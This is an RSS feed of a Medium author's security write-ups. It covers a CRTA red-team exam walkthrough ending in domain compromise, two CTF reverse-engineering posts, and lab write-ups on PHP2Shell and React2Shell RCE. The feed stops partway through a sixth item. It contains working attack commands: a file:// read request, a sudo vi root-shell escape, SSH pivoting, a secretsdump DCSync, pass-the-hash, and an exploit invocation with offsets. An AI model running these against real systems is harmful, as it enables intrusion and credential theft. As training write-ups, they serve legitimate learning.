<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Naba on Medium]]></title>
        <description><![CDATA[Stories by Naba on Medium]]></description>
        <link>https://medium.com/@naba.malkhatib?source=rss-6d93a025c883------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*634aHlY0AizheO41</url>
            <title>Stories by Naba on Medium</title>
            <link>https://medium.com/@naba.malkhatib?source=rss-6d93a025c883------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 19:46:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@naba.malkhatib/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CRTA Exam Write-up: From Initial Access to Domain Compromise]]></title>
            <link>https://medium.com/@naba.malkhatib/crta-exam-write-up-from-initial-access-to-domain-compromise-8ade91aa1f2f?source=rss-6d93a025c883------2</link>
            <guid isPermaLink="false">https://medium.com/p/8ade91aa1f2f</guid>
            <category><![CDATA[crta]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Naba]]></dc:creator>
            <pubDate>Sun, 22 Nov 2026 12:44:17 GMT</pubDate>
            <atom:updated>2026-11-22T12:44:17.798Z</atom:updated>
            <content:encoded><![CDATA[<h3>بِسْمِ اللَّهِ الرَّحْمَٰنِ الرَّحِيمِ</h3><p><strong>Certification:</strong> Certified Red Team Analyst (CRTA)<br><strong>Platform:</strong> Cyber Warfare Labs<br><strong>Assessment:</strong> Practical Red Team Examination</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*rDL5ySnZyN4nN5DD8vqFjg.png" /></figure><h3>Introduction:</h3><p>I recently completed the CRTA practical examination, which provided a hands-on environment designed to simulate a real-world corporate network.</p><p>The main objective was to gain access to the environment, identify and exploit security weaknesses, escalate privileges, pivot into an internal network, compromise Active Directory, and ultimately retrieve a sensitive XML file.</p><p>The most interesting aspect of the exam was how multiple vulnerabilities could be chained together to achieve the final objective.</p><p>This write-up covers my methodology, the commands I used, the vulnerabilities I encountered, and the lessons I learned.</p><p>All IP addresses, credentials, and authentication hashes have been replaced with placeholders.</p><h3>1. Reconnaissance and Enumeration:</h3><p>The first step was connecting to the lab environment through OpenVPN.</p><p>After establishing the VPN connection, I performed host discovery to identify reachable systems.</p><pre>nmap -sn -n YOUR_TARGET_SUBNET --exclude YOUR_OUT_OF_SCOPE_IP</pre><p>Once I identified the initial target, I performed a complete TCP port scan.</p><pre>nmap -p- -Pn -n --open YOUR_INITIAL_TARGET_IP</pre><p>I then used service detection to identify the applications running on the discovered ports.</p><pre>nmap -sV -sC -Pn -n YOUR_INITIAL_TARGET_IP</pre><p>The target exposed several services, including SSH, a Node.js monitoring application called HotHost, and a Python Flask application.</p><p>These services became the starting points for further enumeration.</p><h3>2. Arbitrary File Read Vulnerability</h3><p>While investigating the Flask application, I discovered an endpoint that accepted a URL parameter.</p><p>The endpoint allowed the use of the file:// protocol, making it possible to read local files.</p><p>I tested the functionality using:</p><pre>curl -G \<br>--data-urlencode &#39;url=file:///hostfs/etc/passwd&#39; \<br>&#39;http://YOUR_INITIAL_TARGET_IP:23100/fetch&#39;</pre><p>The server successfully returned the host’s /etc/passwd file.</p><p>This confirmed an <strong>Arbitrary File Read vulnerability</strong>.</p><p>Further investigation revealed that the application was running inside a Docker container with the host filesystem mounted under /hostfs.</p><p><strong>Vulnerability:</strong> Arbitrary File Read / Improper Input Validation.</p><p><strong>Impact:</strong> An unauthenticated attacker could read files from the host filesystem, potentially exposing sensitive information</p><h3>3. Credential Disclosure and Initial Access</h3><p>Analyzing the contents of /etc/passwd, I identified an interesting user account named app-admin.</p><p>The account’s description field contained a password-like value.</p><p>I attempted SSH authentication using the discovered information.</p><pre>ssh app-admin@YOUR_INITIAL_TARGET_IP</pre><p>Authentication succeeded, providing initial access to the Linux machine.</p><p>This demonstrated how sensitive information stored in unexpected locations can lead to account compromise.</p><h3>4. Linux Privilege Escalation</h3><p>After obtaining SSH access, I began enumerating the user’s privileges.</p><pre>id<br>sudo -l</pre><p>The sudo configuration revealed that the user could execute the vi editor with elevated privileges.</p><p>Since vi supports shell commands, I tested whether this functionality could be abused to obtain a privileged shell.</p><pre>sudo /usr/bin/vi -c &#39;:!/bin/bash&#39;</pre><p>I then verified my privileges:</p><pre>whoami<br>id</pre><p>The result confirmed that I had successfully escalated my privileges to root.</p><p><strong>Vulnerability:</strong> Sudo Misconfiguration / Privilege Escalation.</p><p><strong>Impact:</strong> A low-privileged user could gain complete control over the Linux host.</p><h3>5. Web Application Enumeration</h3><p>During the assessment, I also investigated the HotHost monitoring application.</p><p>I discovered that static web resources exposed information about the application and its configuration.</p><p>One interesting resource was accessible through:</p><pre>http://YOUR_INITIAL_TARGET_IP:8091/assets/dummy.css</pre><p>The exposed CSS file contained sample credentials, database configuration examples, and information that provided useful clues during the assessment.</p><p>I also identified an additional application route that returned internal information.</p><pre>curl http://YOUR_INITIAL_TARGET_IP:8091/pug</pre><p>The endpoint returned a JSON response containing a message and a secretToken field.</p><p>These findings demonstrated the importance of examining publicly accessible application resources and API endpoints.</p><p><strong>Vulnerability:</strong> Sensitive Information Exposure.</p><p><strong>Impact:</strong> Exposed resources can reveal application details, credentials, or other information useful for further attacks.</p><h3>6. Internal Network Discovery</h3><p>With root access, I continued enumerating the Linux host to understand its network environment.</p><p>I inspected network interfaces, routing information, and authentication logs.</p><pre>ip -br addr<br>ip route</pre><p>I also reviewed the authentication log:</p><pre>cat /var/log/auth.log</pre><p>The log contained references to an additional internal IP address</p><p>This provided a new direction for the assessment and indicated that other systems might be reachable through the compromised host.</p><h3>7. Pivoting with SSH and Proxychains</h3><p>To access the internal network from my Kali machine, I established an SSH dynamic port-forwarding tunnel.</p><pre>ssh -N -D 127.0.0.1:1080 \<br>app-admin@YOUR_INITIAL_TARGET_IP</pre><p>This created a SOCKS5 proxy listening on port 1080.</p><p>Next, I created a Proxychains configuration.</p><pre>cat &gt; /tmp/crta-proxy.conf &lt;&lt;&#39;EOF&#39;<br>strict_chain<br>proxy_dns<br>tcp_read_time_out 15000<br>tcp_connect_time_out 8000<br>[ProxyList]<br>socks5 127.0.0.1 1080<br>EOF</pre><p>I verified that traffic could successfully reach the internal network.</p><pre>proxychains4 -f /tmp/crta-proxy.conf \<br>nc -vz YOUR_DC_IP 445</pre><p>With the proxy configured, I could use compatible tools through the compromised Linux machine.</p><p>This technique allowed me to continue the assessment against systems that were not directly accessible from my initial position.</p><h3>8. Internal Web Server and Directory Listing</h3><p>During internal enumeration, I discovered another web server running Apache HTTP Server.</p><p>I used Nmap to identify its service version.</p><pre>proxychains4 -f /tmp/crta-proxy.conf \<br>nmap -sT -sV -Pn -n \<br>-p 80,443,8080 \<br>YOUR_WEB_TARGET_IP</pre><p>Further web enumeration revealed a directory with directory listing enabled.</p><p>The directory exposed application files and downloadable resources.</p><p>I examined its contents using:</p><pre>proxychains4 -f /tmp/crta-proxy.conf \<br>curl http://YOUR_WEB_TARGET_IP/elfinder/</pre><p>A subdirectory contained an internal resource file with Active Directory synchronization account information.</p><p><strong>Vulnerability:</strong> Directory Listing / Sensitive File Exposure.</p><p><strong>Impact:</strong> An attacker could discover and access internal resources that should not have been publicly accessible.</p><h3>9. Active Directory Compromise — DCSync</h3><p>The exposed information included credentials associated with an Active Directory synchronization account.</p><p>Because synchronization accounts may require specialized directory permissions, I investigated the privileges associated with the account.</p><p>During testing, I found that the account had excessive replication permissions.</p><p>I used Impacket to test DCSync functionality.</p><pre>proxychains4 -f /tmp/crta-proxy.conf \<br>impacket-secretsdump \<br>-dc-ip YOUR_DC_IP \<br>-just-dc-user &#39;YOUR_DOMAIN\Administrator&#39; \<br>&#39;YOUR_DOMAIN/YOUR_SYNC_USER@YOUR_DC_IP&#39;</pre><p>The tool requested the synchronization account password.</p><p>The operation successfully retrieved the Domain Administrator’s NT hash using the DRSUAPI replication method.</p><p>I also confirmed that sensitive domain authentication material associated with other privileged accounts could be retrieved.</p><p><strong>Vulnerability:</strong> Excessive Active Directory Replication Permissions.</p><p><strong>Impact:</strong> An overprivileged account could request sensitive password hashes from the Domain Controller, leading to domain-wide compromise.</p><h3>10. Pass-the-Hash Authentication</h3><p>After retrieving the Domain Administrator NT hash, I used Pass-the-Hash authentication to establish an SMB session.</p><pre>proxychains4 -f /tmp/crta-proxy.conf \<br>impacket-smbclient \<br>-hashes &#39;:YOUR_ADMIN_NT_HASH&#39; \<br>-no-pass \<br>&#39;YOUR_DOMAIN/Administrator@YOUR_DC_IP&#39;</pre><p>After successful authentication, I enumerated the available SMB shares.</p><pre>shares</pre><p>The administrative shares were accessible.</p><p>I selected the C$ share:</p><pre>use C$</pre><p>This provided access to the Windows filesystem with administrative privileges.</p><h3>11. Retrieving the Sensitive XML File</h3><p>The final objective of the examination was to locate and retrieve a sensitive XML file.</p><p>After authenticating to the Domain Controller through SMB, I navigated to the Administrator’s Desktop.</p><pre>cd Users<br>cd Administrator<br>cd Desktop<br>ls</pre><p>I discovered the target file and downloaded it using the SMB client.</p><pre>get secret.xml.txt</pre><p>After returning to Kali, I examined the file locally.</p><pre>cat secret.xml.txt</pre><p>The file contained confidential employee records, including job positions and compensation information.</p><p>Successfully retrieving the file demonstrated that the entire attack chain had worked.</p><p>The assessment had progressed from a vulnerable web application to administrative access over the Active Directory environment.</p><h3>12. Vulnerabilities Identified</h3><p>Throughout the assessment, I identified several security weaknesses that contributed to the overall compromise of the environment.</p><p><strong>1. Arbitrary File Read</strong></p><p>An insufficiently restricted file-fetching endpoint allowed unauthorized access to sensitive files on the underlying host.</p><p><strong>Impact:</strong> Exposure of system files and potentially sensitive information.</p><p><strong>2. Insecure Container Mount</strong></p><p>A Docker container had access to the host filesystem through an exposed mount point.</p><p><strong>Impact:</strong> Increased exposure of host resources through a vulnerable containerized application.</p><p><strong>3. Credential Disclosure</strong></p><p>Sensitive authentication information was discovered in an unexpected location within the system.</p><p><strong>Impact:</strong> Unauthorized SSH access to a valid user account.</p><p><strong>4. Sudo Misconfiguration</strong></p><p>A low-privileged user was allowed to execute the vi editor with elevated privileges, enabling a shell escape.</p><p><strong>Impact:</strong> Privilege escalation from a regular user to root.</p><p><strong>5. Sensitive Information Exposure</strong></p><p>Publicly accessible application resources revealed configuration details, credentials, and internal information.</p><p><strong>Impact:</strong> Information disclosure that could assist further exploitation.</p><p><strong>6. Directory Listing</strong></p><p>An internal web server exposed directory contents, including a file containing sensitive Active Directory credentials.</p><p><strong>Impact:</strong> Unauthorized discovery and access to confidential resources.</p><p><strong>7. Exposed Service Account Credentials</strong></p><p>Active Directory synchronization account credentials were stored in an accessible web directory.</p><p><strong>Impact:</strong> Compromise of a privileged service account.</p><p><strong>8. Excessive Active Directory Replication Permissions</strong></p><p>The compromised synchronization account had permissions that allowed DCSync operations.</p><p><strong>Impact:</strong> Extraction of domain account password hashes, including highly privileged accounts.</p><p><strong>9. Compromise Through Pass-the-Hash Authentication</strong></p><p>The extracted administrator NT hash was used to authenticate to the Domain Controller without knowing the plaintext password.</p><p><strong>Impact:</strong> Privileged access to administrative network resources.</p><h3>13. Remediation Recommendations</h3><p>The vulnerabilities identified during the assessment highlight the importance of implementing defense-in-depth security controls.</p><p>To reduce the risks demonstrated in this environment, organizations should:</p><ol><li><strong>Restrict File Access:</strong> Validate user-supplied URLs and prevent file-fetching endpoints from accessing unauthorized filesystem resources.</li><li><strong>Secure Container Configurations:</strong> Avoid mounting sensitive host directories into containers unless strictly necessary.</li><li><strong>Protect Sensitive Information:</strong> Remove credentials, secrets, and confidential configuration details from publicly accessible resources.</li><li><strong>Enforce Least Privilege:</strong> Restrict sudo permissions and prevent unnecessary execution of privileged applications.</li><li><strong>Disable Directory Listing:</strong> Prevent unauthorized users from browsing web directories containing sensitive resources.</li><li><strong>Secure Service Accounts:</strong> Protect service account credentials, rotate exposed passwords, and assign only the permissions required for their intended operations.</li><li><strong>Restrict AD Replication Permissions:</strong> Limit directory replication privileges to explicitly authorized accounts.</li><li><strong>Improve Security Monitoring:</strong> Monitor suspicious authentication activity, DCSync operations, privilege escalation attempts, and lateral movement.</li><li><strong>Implement Network Segmentation:</strong> Limit unnecessary communication between systems to reduce the opportunities for internal pivoting.</li></ol><h3>14. Lessons Learned</h3><p>The CRTA practical examination reinforced several important lessons about offensive security and real-world attack scenarios.</p><p><strong>Enumeration Is Essential</strong></p><p>Small details discovered during reconnaissance can reveal unexpected attack paths. Thorough enumeration was crucial throughout the assessment, from identifying exposed services to discovering internal systems.</p><p><strong>Misconfigurations Can Lead to Critical Compromises</strong></p><p>Not every successful attack requires a complex exploit. In this environment, improperly configured permissions and exposed information provided opportunities for initial access and privilege escalation.</p><p><strong>Pivoting Is a Critical Red Team Skill</strong></p><p>Compromising one machine does not necessarily mean reaching the final objective. Understanding network connectivity and using techniques such as SSH tunneling and Proxychains made it possible to explore additional internal systems.</p><p><strong>Active Directory Permissions Matter</strong></p><p>The assessment demonstrated how excessive privileges assigned to a service account can lead to serious security consequences, including domain-wide credential exposure.</p><p><strong>Attack Chaining Is More Important Than Individual Vulnerabilities</strong></p><p>The most valuable lesson was understanding how different weaknesses could be combined into a single attack path.</p><p>An information disclosure led to credentials, credentials provided initial access, a sudo misconfiguration enabled privilege escalation, and exposed service account permissions ultimately contributed to Active Directory compromise.</p><p>Each stage created the opportunity for the next.</p><h3>Conclusion</h3><p>The CRTA practical examination was a valuable hands-on experience that challenged my ability to approach a simulated corporate environment from an attacker’s perspective.</p><p>Throughout the assessment, I performed network enumeration, identified web application vulnerabilities, gained initial access, escalated privileges, established an internal pivot, and explored Active Directory security weaknesses.</p><p>The examination concluded with the successful retrieval of the sensitive XML file from the Domain Controller.</p><p>Beyond completing the technical objectives, this experience strengthened my understanding of how seemingly minor security weaknesses can be chained together to compromise an entire environment.</p><p><strong>My biggest takeaway from CRTA is that successful red teaming is not just about exploiting vulnerabilities. It is about understanding the environment, recognizing opportunities, and connecting individual findings into a complete attack path.</strong></p><p><em>Disclaimer: All activities described in this write-up were conducted within an authorized training environment. IP addresses, credentials, authentication hashes, and sensitive information have been omitted or replaced with placeholders for educational purposes.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8ade91aa1f2f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bank — Reverse Engineering Write-up]]></title>
            <link>https://medium.com/@naba.malkhatib/bank-reverse-engineering-write-up-f6146f1cc57d?source=rss-6d93a025c883------2</link>
            <guid isPermaLink="false">https://medium.com/p/f6146f1cc57d</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[rsec]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[Naba]]></dc:creator>
            <pubDate>Tue, 10 Nov 2026 12:48:13 GMT</pubDate>
            <atom:updated>2026-11-10T12:48:13.068Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*1gTySZHHJzMEquTkfyZsEw.png" /></figure><h3>1. File Analysis</h3><p>First, I identified the executable type using:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z9AYjqCw-v8ZIx39rLETuA.png" /></figure><h3>2. Extracting Strings</h3><p>I used the strings command to search for useful information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4thsboOmbT9w5TfL8zbytA.png" /></figure><p>Then, I examined the strings around the bank’s name:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M3lsnESu6k2YgBEpcovv0A.png" /></figure><p>This revealed hardcoded credentials:</p><ul><li><strong>Username:</strong> Jordansec_girls</li><li><strong>Password:</strong> jsec123</li></ul><h3>3. Running the Program</h3><p>Since the file was a Windows executable, I used Wine to run it on Kali Linux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*3ahiYYxR_ONke5uyaB1FdQ.png" /></figure><p>I entered the credentials discovered during the strings analysis.</p><p>After a successful login, the program displayed the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*JHBHSok52Xr1Hyu8CzPIPA.png" /></figure><h3>4. Flag</h3><p>Jsec{b4nk_l0g1n_cr4ck3d}</p><h3>Conclusion</h3><p>This challenge demonstrated how hardcoded credentials can be discovered through basic static analysis.</p><p>By examining the executable’s strings and using the recovered credentials to log in, I was able to retrieve the flag.</p><p><strong>Tools Used:</strong> file, strings, Wine.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f6146f1cc57d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[M0D — GTA Vice City CTF Write-up]]></title>
            <link>https://medium.com/@naba.malkhatib/m0d-gta-vice-city-ctf-write-up-677ac59235b0?source=rss-6d93a025c883------2</link>
            <guid isPermaLink="false">https://medium.com/p/677ac59235b0</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[rsec]]></category>
            <dc:creator><![CDATA[Naba]]></dc:creator>
            <pubDate>Tue, 10 Nov 2026 12:14:17 GMT</pubDate>
            <atom:updated>2026-11-10T12:14:17.929Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*ZKnL_qIgR5XxevX2bAUwkw.png" /><figcaption><strong><em>Figure 1. The M0D challenge on Cyber Legion CTF.</em></strong></figcaption></figure><p>M0D is a reverse engineering challenge from Cyber Legion CTF. The provided archive, gta.rar, contained the game files for GTA Vice City.</p><h3><strong>1. Extracting the Archive:</strong></h3><p>I extracted gta.rar with WinRAR. Inside the extracted gta folder, I found a folder called txd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*JxwKjhV_HNk2P1NxrwJPpw.png" /></figure><h3>2. Comparing the Loading-Screen Files:</h3><p>I opened the txd folder and compared the sizes of the LOADSC files. Two files stood out: LOADSC0.TXD and LOADSC14.TXD. Both were about four times larger than the rest of the series, so I picked them for closer inspection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*lT4o7IrOLrYnJlxiXhp0VA.png" /></figure><h3><strong>3. Inspecting the Textures in TXD Edit:</strong></h3><p>I opened both files in TXD Edit. LOADSC0.TXD showed a Cyber Legion graphic. In LOADSC14.TXD, I found the flag printed near the bottom of the image, just below a horizontal line.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-gDo0ECNC0vyjd8g1PysSQ.png" /></figure><p>flag: CLCTF{G00D_W0RK}</p><p>Thx Shadow ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=677ac59235b0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RSEC Lab write-up — PHP2Shell]]></title>
            <link>https://medium.com/@naba.malkhatib/rsec-lab-write-up-php2shell-99780af7088d?source=rss-6d93a025c883------2</link>
            <guid isPermaLink="false">https://medium.com/p/99780af7088d</guid>
            <category><![CDATA[php2shell]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[php2shell-vulnerabilities]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[rsec]]></category>
            <dc:creator><![CDATA[Naba]]></dc:creator>
            <pubDate>Thu, 29 Oct 2026 18:14:07 GMT</pubDate>
            <atom:updated>2026-10-29T18:14:07.780Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aAJ3HKKxoJJyUT1VIZkfIQ.png" /></figure><p>The application presents itself as a normal manufacturing company website (Meridian Industries). The real vulnerability, however, lives deeper — inside PHP itself.</p><h3>Vulnerability Background — How PHP2Shell Works:</h3><p>PHP2Shell is the combination of two critical bugs in the PHP engine:</p><ul><li><strong>CVE-2026–109618</strong> — Out-of-memory (OOM) corruption during request startup</li><li><strong>CVE-2026–109619</strong> — Stale global state reuse after a failed request</li></ul><p>When PHP receives a carefully crafted multipart request, it starts parsing the body <strong>before</strong> the page script runs. Under a low memory_limit (8 MB in this lab), the allocator can be exhausted while session and multipart state is only partially initialized.</p><p>PHP then uses longjmp() to escape the OOM condition. On Apache mod_php with the prefork MPM, the worker process does <strong>not</strong> die. Request shutdown still runs and consumes the corrupted / stale state. The next request on the same worker can then interact with dangling pointers.</p><p>By grooming the heap, an attacker can:</p><ol><li>Leak the Zend Memory Manager chunk base (heap ASLR bypass)</li><li>Leak a pointer to zval_ptr_dtor (libphp base)</li><li>Forge a HashTable whose pDestructor points to zif_system</li><li>Trigger the destructor during session cleanup → arbitrary command execution as www-data</li></ol><p>The entire chain happens before any application code (WordPress, custom PHP, etc.) is executed</p><h3>Reconnaissance:</h3><pre>curl -i http://lab.rsec.uk:20145/</pre><p>Response headers revealed:</p><ul><li><strong>Server: Apache/2.4.69 (Debian)</strong></li><li><strong>X-Powered-By: PHP/8.4.26</strong></li></ul><p>PHP 8.4.26 is vulnerable. The fixed version is 8.4.27. The instance is running Apache prefork with a single worker and a restrictive memory limit — ideal conditions for the mod_php chain.</p><p>The site itself (Meridian Industries) and the /admin portal are pure distractions. The exploit targets /.</p><h3>Exploitation:</h3><p>Using the calibrated profile for the official php:8.4.26-apache (bookworm amd64) build:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/241/1*cCHCiQ0EnL60I1JO9F1kZg.png" /></figure><p>Command executed:</p><pre>python3 tools/php2shell_rce.py \<br>  -u http://lab.rsec.uk:20145/ \<br>  --allow-remote \<br>  --zif-offset 0x465370 \<br>  --dtor-offset 0x65eb60 \<br>  -c &quot;cp ~/flag /u #&quot; \<br>  --fetch /u</pre><p>Result:</p><pre>[+] chunk base = 0x7a417d800000<br>[+] libphp base = 0x7a417f4a2000<br>[+] W3 attempt 1<br>PROOF: RSEC{e38af62064e14756a0f405f442c6f1fc}</pre><p>The 14-byte command limit forced the use of cp ~/flag /u #. The worker’s HOME is /var/www, so ~/flag resolves to a readable location for the web user.</p><h3>Key Takeaways:</h3><ul><li>The visible application (CMS, custom site, admin panel) is irrelevant. The bug lives in PHP’s request lifecycle.</li><li>A single unauthenticated multipart request is enough for full RCE on a vulnerable mod_php installation.</li><li>Correct build-specific offsets and heap grooming are required to defeat ASLR.</li><li>The reverse proxy truncated large Set-Cookie leaks, so the leak size had to be carefully limited.</li></ul><h3>References:</h3><ul><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-109618">CVE-2026–109618</a> — RCE via OOM corruption</li><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-109619">CVE-2026–109619</a> — RCE via stale global state</li><li><a href="https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w">PHP Security Advisory GHSA-w8hw-w9fx-j79w</a> (CVE-2026–109618)</li><li><a href="https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp">PHP Security Advisory GHSA-6wmf-4rv5-p3rp</a> (CVE-2026–109619)</li><li><a href="https://sansec.io/research/php2shell">Sansec — PHP2Shell Research</a></li><li><a href="https://www.openwall.com/lists/oss-security/2026/10/21/6">oss-security announcement (CVE-2026–109618)</a></li><li><a href="https://www.openwall.com/lists/oss-security/2026/10/21/7">oss-security announcement (CVE-2026–109619)</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99780af7088d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RSEC Lab write-up — RenderFlow Cloud(React2Shell)]]></title>
            <link>https://medium.com/@naba.malkhatib/rsec-lab-write-up-renderflow-cloud-react2shell-463227190412?source=rss-6d93a025c883------2</link>
            <guid isPermaLink="false">https://medium.com/p/463227190412</guid>
            <category><![CDATA[react2shell]]></category>
            <category><![CDATA[rsec]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[react2shell-vulnerability]]></category>
            <dc:creator><![CDATA[Naba]]></dc:creator>
            <pubDate>Tue, 27 Oct 2026 18:47:50 GMT</pubDate>
            <atom:updated>2026-10-27T18:47:50.188Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cKF8HL4gVfujP7tRPglZlw.png" /></figure><p>The platform is a Next.js application that claims its React Server Components preview is safe because “none of that code ever reaches your browser.” This is the clue that the vulnerability exists on the server side.</p><h3>Vulnerability Background How React2Shell Works:</h3><p>React Server Components use a custom serialization format called the <strong>Flight protocol</strong> to pass data between the client and server. When a Server Function or RSC endpoint receives a request, it deserializes the incoming Flight data (usually sent as multipart form-data) and reconstructs JavaScript objects on the server.</p><p><strong>The Bug</strong></p><p>In vulnerable versions of react-server-dom-* (19.0.0–19.2.0), the deserializer does not properly validate object property access. Specifically, it is missing a hasOwnProperty check when resolving references.</p><p>An attacker can abuse this by sending a crafted Flight payload that uses special reference syntax such as:</p><pre>$1:__proto__:then</pre><p>This reference walks up the prototype chain instead of staying on the attacker’s own object. By doing so, the attacker can:</p><ol><li>Create a <strong>fake Chunk</strong> object that mimics React’s internal Chunk class.</li><li>Control internal properties of that Chunk, especially:</li></ol><ul><li>_response._prefix → the code that will be executed</li><li>_formData.get → points to the Function constructor</li></ul><p>3. Trigger the promise-like resolution of the Chunk (.then).</p><p>4. Cause React to call the Function constructor with the attacker-controlled string stored in _prefix.</p><p>The result is arbitrary JavaScript execution on the server with the privileges of the Node.js process.</p><p><strong>Simplified Exploit Chain:</strong></p><pre>Attacker-controlled multipart Flight payload<br>        ↓<br>Deserialization walks prototype chain ($1:__proto__:then)<br>        ↓<br>Fake Chunk is created with attacker-controlled _response<br>        ↓<br>Promise resolution calls Function(_prefix)<br>        ↓<br>Arbitrary code execution (child_process.execSync, etc.)</pre><p>This works without authentication and without needing a specific Server Function endpoint. Any application that supports React Server Components on the affected versions is vulnerable.</p><p><strong>References</strong></p><ul><li><a href="https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/">Datadog Security Labs — React2Shell Deep Dive</a></li><li><a href="https://lachlan.nz/blog/the-react2shell-story/">Lachlan Davidson — The React2Shell Story</a></li><li><a href="https://github.com/freeqaz/react2shell">freeqaz/react2shell — Technical Analysis &amp; PoCs</a></li></ul><h3>Reconnaissance:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*Ot6Tpc55vGkTtoXvKI2XEQ.png" /><figcaption>The application is a Next.js app (X-Powered-By: Next.js) with RSC enabled.</figcaption></figure><h3>Exploitation:</h3><p>We send a POST request to any route with the Next-Action: x header and a multipart Flight payload that throws the command output in the error digest.</p><p><strong>1. Execute id:</strong></p><p>Bash</p><pre>curl -s -X POST http://lab.rsec.uk:20213/overview \<br>  -H &quot;Next-Action: x&quot; \<br>  -H &quot;Content-Type: multipart/form-data; boundary=----WebKitFormBoundary&quot; \<br>  --data-binary $&#39;------WebKitFormBoundary\r\nContent-Disposition: form-data; name=&quot;0&quot;\r\n\r\n{&quot;then&quot;:&quot;$1:__pro</pre><h4>result:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*rr7LHzBPJaFsT-0R_fJNFA.png" /></figure><p><strong>2. List root directory:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mbZUBDLuA61OMhRGHwQJ2A.png" /></figure><h4>result:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*S63MZHRcbid29g_gwi_sKw.png" /></figure><h4>3. Read the flag:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m7HruaKejmDmz9JYLKqNJw.png" /></figure><h3>Key Takeaways</h3><ul><li>React2Shell is a classic unsafe deserialization issue hidden inside React’s Flight protocol.</li><li>A single unauthenticated request is enough for full RCE on affected Next.js / RSC applications.</li><li>The claim that “code never reaches the browser” is irrelevant when the server deserializes attacker-controlled data unsafely.</li></ul><h3>References</h3><ol><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-55182">CVE-2025–55182 — NVD</a></li><li><a href="https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/">Datadog Security Labs — React2Shell</a></li><li><a href="https://github.com/freeqaz/react2shell">freeqaz/react2shell</a></li><li><a href="https://lachlan.nz/blog/the-react2shell-story/">Lachlan Davidson — Original Write-up</a></li><li><a href="https://research.jfrog.com/post/react2shell/">JFrog — React2Shell Research</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=463227190412" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RSEC Lab write-up — Meridian Industries(Wp2shell)]]></title>
            <link>https://medium.com/@naba.malkhatib/rsec-lab-write-up-meridian-industries-wp2shell-b7add42ac91b?source=rss-6d93a025c883------2</link>
            <guid isPermaLink="false">https://medium.com/p/b7add42ac91b</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[rsec]]></category>
            <category><![CDATA[wp2shell]]></category>
